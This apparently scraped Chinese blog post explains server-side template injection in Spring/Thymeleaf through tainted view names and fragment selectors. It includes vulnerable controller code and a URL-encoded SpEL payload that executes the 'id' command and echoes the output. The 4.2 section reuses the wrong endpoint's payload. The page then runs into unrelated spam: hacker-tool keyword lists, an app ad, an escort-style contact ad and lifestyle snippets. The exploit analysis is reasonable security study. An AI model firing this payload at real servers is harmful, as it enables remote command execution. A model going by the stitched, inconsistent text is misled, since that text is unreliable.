本文配合:https://github.com/veracode-research/spring-view-manipulation/食用更佳。
Thymeleaf 是与 java 配合使用的一款服务端模板引擎,也是 spring 官方支持的一款服务端模板引擎。他支持 HTML 原型,在 HTML 标签中增加额外的属性来达到模板 + 数据的展示方式。默认前缀:/templates/ ,默认后缀:.html 。
首先我们来熟悉一下这个漏洞发生的一些前期知识:
@GetMapping("/") public String index(Model model) { model.addAttribute("message", "happy birthday"); return "welcome"; }
<!DOCTYPE HTML> <html xmlns:th="http://www.thymeleaf.org"> <div th:fragment="header"> <h3>Spring Boot Web Thymeleaf Example</h3> </div> <div th:fragment="main"> <span th:text="'Hello, ' + ${message}"></span> </div> </html>
漏洞出现在 thymeleaf 的片段选择器中,关于片段选择器是什么,通过一个小例子就会知道。
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
4.1 首先看一下
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }
这时将 lang 参数作为模块名解析的一部分。payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::
执行命令并回显。
4.2 再看一下:
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
这时是将 section 放在 selector 的位置。同样是上面的 payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::
这时没有回显,状态也是 200 ,调试之后发现,前面模板名找不到会抛出一个异常,而这里是将我们的 section 放到 welcome :: 后面,而这时是找到的模板名,找不到 selector ,这时他不会抛出异常,只是没有内容显示了,但是命令还是会执行。
@GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI }
public String getViewName(HttpServletRequest request) { String lookupPath=this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH); return (this.prefix + transformPath(lookupPath) + this.suffix); }
文章来源:Medi0cr1ty,作者:medi0cr1ty
来武大看一场人海,是每一朵樱花的梦想。趁着年轻,去做你想做的事,看你想看的风景,你终会遇见那人海之一。盛开的樱花这是一片花海同时也是一片人海啊,赏樱花人太多的说说句子,看樱花看人海的心情说说朋友圈。...
反编译木马找黑客相关问题 黑客初级网站相关问题 黑客榜中榜第一期怎么玩 传奇二级密码破论坛(传奇私服二级密码脚本)...
万能微信数据恢复免费版可以帮助用户快速的找回微信里面不小心丢失的数据,使用方法非常的简单,而且恢复的成功率非常的高,再也不用担心重要的数据不小心删除了。需要的朋友快来体验吧! 微信数据丢失,手...
深圳龙华区商务预约联系方式【皮凯敏】 今天给大家分享的内容是“深圳龙华区商务预约联系方式【皮凯敏】”,我是皮凯敏,来自景德镇市,今年33岁,作为职业:生物/制药/医疗器械,我热爱我的职业:生物/制药/...
西周燕都遗址博物馆(带您走进北京市西周燕都遗址博物馆)北京作为首都和全国文化中心,各类博物馆从数量和种类上位列全国前列。这些博物馆,不仅有丰富的馆藏让人百思特网大开眼界,其本身也是建筑设计的精品。北京...
大腿是脂肪最容易堆积的部位 尤其是大腿内侧最为严重 这两块顽固的肥肉 究竟要怎样才能甩掉? 自测:脂肪腿还是水肿腿? 用手指用力按在腿的肉厚部位(比如说大腿内侧、小腿膝盖下10~15cm...